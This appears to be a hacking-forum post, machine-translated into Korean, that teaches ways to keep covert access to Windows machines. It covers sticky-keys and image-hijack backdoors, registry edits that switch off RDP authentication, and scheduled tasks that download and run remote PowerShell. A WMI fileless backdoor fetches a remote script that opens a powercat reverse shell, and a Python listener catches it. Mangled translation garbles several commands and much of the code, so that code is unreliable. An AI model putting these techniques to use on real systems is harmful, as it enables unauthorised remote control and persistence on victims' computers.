KoreanHackerTeam
Moderator
权限维持
1 操作系统后门
1.1 粘滞键后门
1.1.1 传统方法
Windows/System32에서 SETHC 프로그램을 CMD.exe로 직접 교체하십시오.대상 머신이 Windows Vista 위에있는 경우, 즉 Windows Vista에서 나중에 나오는 시스템은 Sethc를 수정하면 TrustedInstaller 권한이 필요합니다. TrustedInstaller는 보안 메커니즘, 즉 관리자 관리자보다 높은 시스템의 가장 높은 권한입니다.
Windows 권한은 사용자, 관리자 및 시스템과 같은 낮은에서 높은 3 가지 유형으로 나뉩니다. TrustedInstaller는 관리자보다 높지만 시스템보다 높지는 않습니다. 이를 수행하는 장점은 일부 맬웨어 수정 시스템 파일의 가능성을 피한다는 것입니다. 단점은 자체적으로 직접 작동 할 수 없으므로 Sethc를 먼저 수정하려면 소유자를 현재 관리자 사용자로 변경해야합니다.

소유자 이전에 편집 권한은 직접 회색이며 수정할 수 없습니다. 소유권이 있으면 권한을 편집 할 수 있습니다. 아래 그림과 같이 자신에게 권한을 부여해야합니다.

현재 이름을 바꾸거나 직접 삭제 한 다음 CMD를 복사하여 SETHC를 수정할 수 있습니다. 그런 다음 잠금 화면에 비밀번호가 없으면 Shift를 직접 눌러 CMD를 호출하고 아래 그림과 같이 새 사용자 추가와 같은 작업을 수행 할 수 있습니다.
1.1.2 新方法
스티커 키 백도어를 설정하는 새로운 방법은 레지스트리를 통해 구현됩니다. 전반적인 방법 아이디어는 레지스트리의 이미지 납치를 수정하고 원격 데스크탑을 열어 구현하는 것입니다.1
Reg Add 'hklm \ Software \ Microsoft \ Windows NT \ currentVersion \ 이미지 파일 실행 옵션 \ sethc.exe' /v debugger /t reg_sz /d 'c: \ windows \ system32 \ cmd.exe'
命令说明: Reg는 레지스트리에 레코드를 추가 한 다음 레지스트리의 위치를 추가합니다. 여기서 hklm은 실제로 hkey_local_machine의 약어입니다. 이미지 파일 실행 옵션이 디렉토리는 이미지 납치를 설정하는 데 사용됩니다. 납치해야 할 것은 명령의 SETHC Sticky 키 프로그램이며 키 이름은 /v를 통해 지정됩니다. 이 키 이름 디버거는 고정 된 다음 유형이 /t, 즉 reg_sz 문자열 유형을 통해 지정되고, 마지막으로 키 값은 /d, 즉 악의적으로 대체 된 프로그램, 즉 CMD를 통해 지정됩니다.
거울 납치를 설정 한 후, 우리는 오래된 방법으로 SETHC 프로그램을 직접 교체하는 효과가 있습니다. 그러나 사용의 편의를 위해 대상 기계의 원격 데스크탑을 활성화 할 수 있습니다. 여기서도 레지스트리를 통해 설정했으며 두 개의 매개 변수를 설정해야합니다.

1.1.2.1 关闭 RDP 用户鉴定选项
첫 번째는 원격 데스크톱 링크의 사용자 인증 옵션을 OFF 상태로 설정하고 값이 0이고 명령 줄에서 다음 명령을 실행하는 것입니다.1
Reg Add 'hklm \ System \ CurrentControlset \ Control \ Terminal Server \ winstations \ rdp-tcp' /v useRuthentication /t reg_dword /d 0
사용자 인증은 UseRuestentication 기능을 의미합니다.
0 원격 데스크탑 전에 사용자 인증이 필요하지 않은지 또는 기본값이 원격 데스크탑 전에 사용자 인증이 필요하다는 것을 나타냅니다. 더 잘 이해하려면 차이점을 살펴 보겠습니다. 여기에 useRuthentication이 1 일 때입니다.

USERUSETICATION이 1이면 원격 데스크탑 앞에서 사용자 인증이 수행됩니다. 현재 원격 링크를 입력 한 후 사용자 이름과 비밀번호를 입력해야합니다. 비밀번호를 입력하지 않고 사용자 이름을 입력하면 연결을 직접 클릭하고 인증 오류를 프롬프트합니다. USERUSETICATION이 0이면 연결 전에 인증이 수행되지 않습니다. 현재 사용자 이름을 입력하고 암호를 입력하지 않으면 연결이 원격 데스크탑의 잠금 화면으로 직접 이동합니다. 따라서 0으로 설정하면 대상의 잠금 화면으로 직접 이동 한 다음 CMD를 켭니다.
참고 : 기본값은 Windows Server 2012에서 0입니다
1.1.2.2 更改 RDP 安全层设置
두 번째는 원격 데스크탑 연결의 보안 계층을 0으로 설정하고 명령 줄에서 다음 명령을 실행하는 것입니다.1
Reg Add 'hklm \ System \ CurrentControlset \ Control \ Terminal Server \ winstations \ rdp-tcp' /v SecurityLayer /t Reg_dword /d 0
0은 연결하기 전에 인증을 위해 RDP 프로토콜을 사용하는 것을 의미합니다. RDP는 원격 데스크탑 연결로 간단히 확인 될 수 있습니다. 도 1은 기본값 인 인증을 수행하기 위해 연결의 양쪽 끝 사이의 협상을 말합니다. 2는 TLS 프로토콜을 사용하는 것입니다. 0과 1의 차이점을 살펴 보겠습니다.

Userauthentication 사용자 인증이 0 인 경우 보안 계층의 보안 계층이 1 인 경우 연결을 클릭하고 사용자 이름을 입력 한 다음 대상 데스크톱에 연결을 클릭하십시오. 보안 계층이 0으로 변경되면 Connect를 클릭하면 사용자의 잠금 화면 데스크톱으로 직접 이동하여 자격 증명을 입력하는 단계를 제거합니다. 그래서 우리는 그것을 0으로 설정하고 잠금 화면 데스크탑으로 직접 점프하여 CMD를 조정할 수 있습니다.
참고 : 기본값은 Windows Server 2012에서 1입니다
1.1.3 测试结果
테스트 후, RDP 연결이 Win10에서 연결이 끊어 졌을 때 MSF 세션이 즉시 분리되어 Windows Server 2008에서 성공했습니다.1.2 注册表后门
실행 :이 항목의 주요 값은 시작 항목입니다.위치:
1
\ hkey_current_user \ Software \ Microsoft \ Windows \ currentVersion \ run
MSF에 따른 명령 :
1
Exploit/Windows/Local/Persistence를 사용하십시오
1.3 计划任务后门
Schtasks/생성 새로운 작업을 만듭니다.
/삭제 예정된 작업 삭제.
/쿼리 모든 예약 된 작업을 표시합니다.
/변경 예약 된 작업 속성 변경.
/필요에 따라 예약 된 작업을 실행합니다.
/END는 현재 실행중인 예정된 작업을 중단합니다.
/showsid 예정된 작업 이름에 해당하는 보안 식별자를 표시합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
# schtasks 명령
# 03:30 매일 밤 실행 시간
Schtasks /Create /Tn 'TimedTask1' /Tr C: \ Users \ Administrator \ Desktop \ TimedTask \ Run.bat /SC Daily /ST 03:30
# 진술 a
# 생성 작업을 쿼리하십시오
Schtasks /query /tn timedtask1 /v
# 생성 작업을 즉시 실행하십시오
Schtasks /run /tn timedtask1
# 작업을 삭제합니다
Schtasks /delete /tn timedtask1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#(x64) - 시스템 시작시
schtasks /create /tn pentestlab /tr 'c: \ windows \ syswow64 \ wind net.webclient) .downloadString ( ''http://10.0.2.2133608080 /zpwlywg '') ')' /sc onstart /ru 시스템
#(x64) - 사용자 유휴 상태 (30 분)
schtasks /create /tn pentestlab /tr 'c: \ windows \ syswow64 \ wind net.webclient) .downloadString ( ''http://10.0.2.2133608080 /zpwlywg '') ')' /sc onidle /i 30
#(x86) - 사용자 로그인시
schtasks /create /tn pentestlab /tr 'c: \ Windows \ System32 \ Wind net.webclient) .downloadString ( ''http://10.0.2.2133608080 /zpwlywg '') ')' ' /sc Onlogon /Ru 시스템
#(x86) - 시스템 시작시
schtasks /create /tn pentestlab /tr 'c: \ Windows \ System32 \ Wind net.webclient) .downloadString ( ''http://10.0.2.2133608080 /zpwlywg '') ')' /sc onstart /ru 시스템
#(x86) - 사용자 유휴 상태 (30 분)
schtasks /create /tn pentestlab /tr 'c: \ Windows \ System32 \ Wind net.webclient) .downloadString ( ''http://10.0.2.2133608080 /zpwlywg '') ')' /sc onidle /i 30
1.4 wmi 无文件后门
Evil3.vbs- 악의적 인 VBS 스크립트. 계정이 성공적으로 로그인 된 이벤트를 캡처하기위한 이벤트 필터를 만듭니다. 활성 스크립트 이벤트 소비자를 만들고 이벤트를 캡처 한 후 원격 스크립트 pnc.js를 실행하십시오. 필터와 소비자를 바인딩하십시오.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
nslink='winmgmts: \\. \ root \ subscription:'
qstr='select * from __ instancecreationEvent 5' '쿼리 "인스턴스 생성 이벤트"마다 5 초마다 "
qstr=qstr'where targetInstance isa 'win32_ntlogevent'및 '
qstr=qstr'targetinstance.eventCode='4624' ''인스턴스 이름은 Win32_ntLogevent '입니다.
set evtflt=getObject (nslink '__ eventFilter'). SpawnInstance_ '이벤트 필터 만들기'
evtflt.name='filtp1' '필터의 이름을 정의하십시오'
evtflt.eventnamespace='root \ cimv2'
evtflt.query=qstr 'query 문의 정의'
evtflt.queryLanguage='wql' '쿼리 언어 정의 (WQL 일 수 있음)' '
fltpath=evtflt.put_ '레지스터 필터, 링크를 반환하십시오'
set asec=getObject (nslink'ActiveScriptEventConsumer '). SpawnInstance_' "ActiveScript 이벤트 소비자"만들기
asec.name='consp1' '소비자의 이름 정의'
asec.scriptingEngine='jscript' '스크립팅 언어를 정의합니다
asec.scripttext='getObject (' 'script3333http://192.168.41.1:8080/pnc.js' ')' '
set asecpath=asec.put_ '등록 소비자, 링크를 반환하십시오'
set fcbnd=getObject (nslink '__ filtertoconsumerBinding'). SpawnInstance_ '필터와 소비자 사이의 바인딩 만들기'
fcbnd.filter=fltpath.path '필터 지정'
fcbnd.consumer=asecpath.path '소비자 지정'
fcbnd.put_ 'execute binding'
희미한 fso
set fso=createobject ( 'scripting.filesystemobject')
vilname=left (wscript.scriptfullname, instrev (wscript.scriptfullname, '\')))
EvilName=EvilName fso.getFile (wscript.scriptFullName) .name
fso.deletefile (EvilName) 'vbs 자체
pnc.js- 서버 측 악성 스크립트. PowerCat.ps1을 다운로드하여 쉘을 반환하는 데 사용하십시오.
1
2
3
4
5
6
7
8
9
10
11
12
13
? xml 버전='1.0'?
패키지
구성 요소 ID='TestCalc'
스크립트 언어='jscript'
var r=new ActiveXObject ( 'wscript.shell'). run ( 'PowerShell IEX (new -Object System.net.webclient) .downloadString ('http://192.168.41.1:8080/powerCat -Master/PowerCat.ps1 '); PowerCat -C 192.168.41.1 -p 6999- cmd ');
/스크립트
/요소
/패키지
shell_server.py- 쉘을들을 수있는 서버 측 스크립트.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
소켓 수입
가져 오기 re
pattern=re.compile (r '[a-z] : \\.*?')
def recv_end (the_socket) :
Total_data=[]
data=b ''
True:
data=the_socket.recv (1024)
#print (데이터)
데이터 :이 아닌 경우
ConnectionAbortedError를 높이십시오
data=str (data, encoding='gbk')
Total_Data.Append (데이터)
IF Pattern.search (data, re.m) :
부서지다
LEN (Total_Data) 1: 인 경우
last_pair=total_data [-2] + Total_data [-1]
if pattern.search (last_pair, re.m) :
부서지다
return ''.join (Total_data)
# 서버를 만듭니다
Server=socket.socket (socket.af_inet, socket.sock_stream)
포트=6999
server.bind (( '192.168.41.1', port)) #들을 수 있습니다
Server.Listen (5) #Start 청취는 5 개의 링크로 대기열을 할 수 있음을 의미합니다.
True:# Conn은 클라이언트를 연결하여 서버에서 생성 된 링크 인스턴스입니다.
print ( '------------ {} -----------'에서 듣는다. 형식 (포트))
conn, addr=server.accrect () #waiting 링크의 경우 여러 링크가 발견 될 때 문제가 발생하고 실제로 두 값이 반환됩니다.
인쇄 (Conn)
True:
try:
se=입력 (recv_end (conn))
SE:이 아닌 경우
se='\ r \ n'
#print (bytes (se, encoding='utf8')))
conn.send (bytes (se, encoding='utf-8')) # 그런 다음 데이터를 보냅니다
E:으로서의 Bainexception을 제외하고
print ( '\ n' + addr [0] + ':' + str (addr [1]) + 'Close')
부서지다
conn.close () # 연결을 닫습니다
PowerCat.ps1- PowerShell 버전 NetCat. (https://github.com/besimorhino/powercat)
Clean.ps1- 명확한 필터, 소비자 및 BINDER가 Evil3.VBS에 의해 생성됩니다.
1
2
3
4
5
6
7
8
#필터
get -wmiobject -namespace root \ subscription -class __eventFilter -filter 'name='filtp1 ''| wmiobject -verbose를 제거하십시오
#소비자
get -wmiobject -namespace root \ subscription -class commandLineEventConsumer -Filter 'name='consp1 ''| wmiobject -verbose를 제거하십시오
#제본
get -wmiobject -namespace root \ subscription -class __filtertoconsumerbinding -filter '__path'like '%filtp1%' '| wmiobject -verbose를 제거하십시오
2 域控后门
2.1 DSRM 后门
DSRM (디렉토리 서비스 복원 모드)은 Windows 도메인 환경의 도메인 컨트롤러에 대한 안전 모드 시작 옵션입니다. 각 도메인 컨트롤러에는本地管理员계정 (즉, DSRM 계정)이 있습니다. DSRM의 목적은 :입니다.이 목적은 :입니다. 관리자는 도메인 환경이 실패하거나 충돌 할 때 Active Directory 데이터베이스를 복원, 수리 및 재건축하여 도메인 환경이 정상적으로 실행될 수 있도록합니다. 도메인 환경 생성의 초기 단계에서는 DC를 설치하고 거의 재설정 할 때 DSRM의 비밀번호를 설정해야합니다. DSRM 비밀번호를 수정하는 가장 기본적인 방법은 DC에서 NTDSUTIL 라인 명령을 실행하는 것입니다.침투 테스트에서 DSRM 계정을 사용하여 도메인 환경을 유지할 수 있습니다. 도메인 컨트롤러의 시스템 버전이 Windows Server 2008 인 경우 지정된 도메인 계정의 비밀번호를 사용하여 DSRM 비밀번호를 동기화하려면 KB96132 패치를 설치해야합니다.